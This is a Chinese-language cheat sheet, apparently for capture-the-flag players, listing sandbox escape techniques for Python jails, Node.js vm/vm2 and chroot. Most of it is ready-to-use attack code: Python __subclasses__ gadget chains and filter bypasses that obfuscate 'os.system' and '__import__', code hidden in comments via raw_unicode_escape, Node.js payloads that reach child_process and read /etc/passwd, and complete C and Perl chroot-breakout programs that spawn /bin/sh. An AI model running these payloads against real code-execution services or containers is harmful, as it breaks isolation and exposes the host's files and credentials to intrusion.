沙盒逃逸

沙盒逃逸 / 沙箱逃逸

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

Python

模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#os
import os
os.system('dir')
os.popen('dir').read()

#platform
import platform
platform.popen('dir').read()
platform.os.system('dir')

#timeit
import timeit
timeit.timeit("__import__('os').system('dir')")

#sys
from sys import modules
modules['os'].system('sh')
modules['posix'].system('sh')

import

1
2
__import__('os')
__builtins__.__dict__['__import__']

重载模块 / 重新引入

1
2
3
4
5
6
7
8
9
10
11
#得到完整__builtin__模块
reload(__builtin__)

import imp
imp.reload(__builtin__)

#重新引入os
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'

execfile('/usr/lib/python2.7/os.py')

函数调用 / 命令执行

1
2
3
4
5
6
7
#属性/字典
getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')

#object类 - warnings.WarningMessage类
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')

文件读取

1
2
3
4
#object类
().__class__.__base__.__subclasses__()[40]("1.txt").read()
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
"".__class__.__mro__[-1].__subclasses__()[40]("1.txt").read()

关键字过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
'sys'+'tem' => 'system'
'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi') => '__buildins__'
dir()[0] => '_'

import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

#过滤eval
exec("import os;os.system('curl xxx')")

#过滤数字
0=False
1=True
2=True+True=True-(-True)
3=True+True+True=True-(-True)-(-True)

#过滤request
#字符串request:
list(globals().keys())[11]
#request值:
globals()[list(globals().keys())[11]]

#del模块
#盲注
time.sleep(3) if open('/flag').read()[0]=='c' else 1

注释逃逸

Python 中的编解码器 raw_unicode_escape 允许Python文件解释Unicode编码的字符,使用 raw_unicode_escape 编码器将 \uxxxx 解释成对应的ASCII字符,比如换行符 \u000a ,这样可以在 Python 的注释中隐藏恶意代码。

1
2
3
4
5
#!/usr/bin/env python
# -*- coding: raw_unicode_escape -*-
#\u000aimport os
#\u000aos.system("ls /")
#\u000aos.system("cat /flag")

node.js

前端

在前端中,可能会使用删除 eval ,重写 Function.prototype.constructor / GeneratorFunction / AsyncFunction 等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。

服务端

JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。

在原生的沙箱模块中,常用的逃逸方式为:

1
2
3
4
5
6
7
8
const sandbox = {};
const whatIsThis = vm.runInNewContext(`
const ForeignObject = this.constructor;
const ForeignFunction = ForeignObject.constructor;
const process = ForeignFunction("return process")();
const require = process.mainModule.require;
require("fs");
`, sandbox);

一般来说,在Context下运行的代码应该只属于该隔离环境。然而,this是一个特别的,this指向runInContext(line, context)这一句里的context变量,它属于沙盒外,实际上,它是一个{}

1
2
3
4
5
6
7
8
9
10
11
//列目录
this.constructor.constructor('return this.process.binding')()('fs').readdir('/',function (err, data) {data})

//读文件
this.constructor.constructor("return process")().mainModule.require("fs").readFileSync("/etc/passwd").toString()

//命令执行
" ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()

const {spawnSync} = this.constructor.constructor("return process")().mainModule.require('child_process')
spawnSync('cat /flag', [], {stdio: 'inherit'});

考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:

1
2
3
4
5
vm.runInNewContext(
'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())',
{console:{log(){console.log.apply(console,arguments);}}},
{timeout:5}
);

参考

SSTI (Server Side Template Injection)

chroot

chroot逃逸的核心是使进程中存在一个文件,处于根目录树之外

参考:I’M IN CHROOT JAIL, GET ME OUT OF HERE!

mount

1
2
3
4
mount /dev/sda1 /tmp
cd /tmp
cd /tmp/bin
./cat /tmp/etc/passwd

/proc

1
2
ls /proc/*/root
cd /proc/[PID]/root

清空env

查看env可以发现,有个奇怪的变量:LD_PRELOAD=libfakechroot.so,它是一个用于在用户权限下更改root目录的工具。

只要把这个环境变量给删掉:env LD_PRELOAD=/bash,就在真正的root中了。

可执行程序

1
2
3
cat << EOF > getmeoutofhere.c
[内容]
EOF
  • C

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    // Shortened version of this:
    // http://www.bpfh.net/simes/computing/chroot-break.html
    #include <stdio.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/types.h>

    int main() {
    int x; /* Used to move up a directory tree */
    int dir_fd; /* File descriptor to directory */
    mkdir("chroot-breakout-dir", 0755);
    dir_fd=open(".", O_RDONLY);
    chroot("chroot-breakout-dir");
    fchdir(dir_fd);
    close(dir_fd);
    for(x = 0; x < 1024; x++) {
    chdir("..");
    }
    chroot(".");
    system("/bin/sh");
    }
  • Perl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #!/usr/bin/perl -w
    use strict;
    # unchroot.pl Dec 2007
    # http://pentestmonkey.net/blog/chroot-breakout-perl

    # This script may be used for legal purposes only.

    # Go to the root of the jail
    chdir "/";

    # Open filehandle to root of jail
    opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";

    # Create a subdir, move into it
    mkdir "mysubdir";
    chdir "mysubdir";

    # Lock ourselves in a new jail
    chroot ".";

    # Use our filehandle to get back to the root of the old jail
    chdir(*JAILROOT);

    # Get to the real root
    while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
    chdir "..";
    }

    # Lock ourselves in real root - so we're not really in a jail at all now
    chroot ".";

    # Start an un-jailed shell
    system("/bin/sh");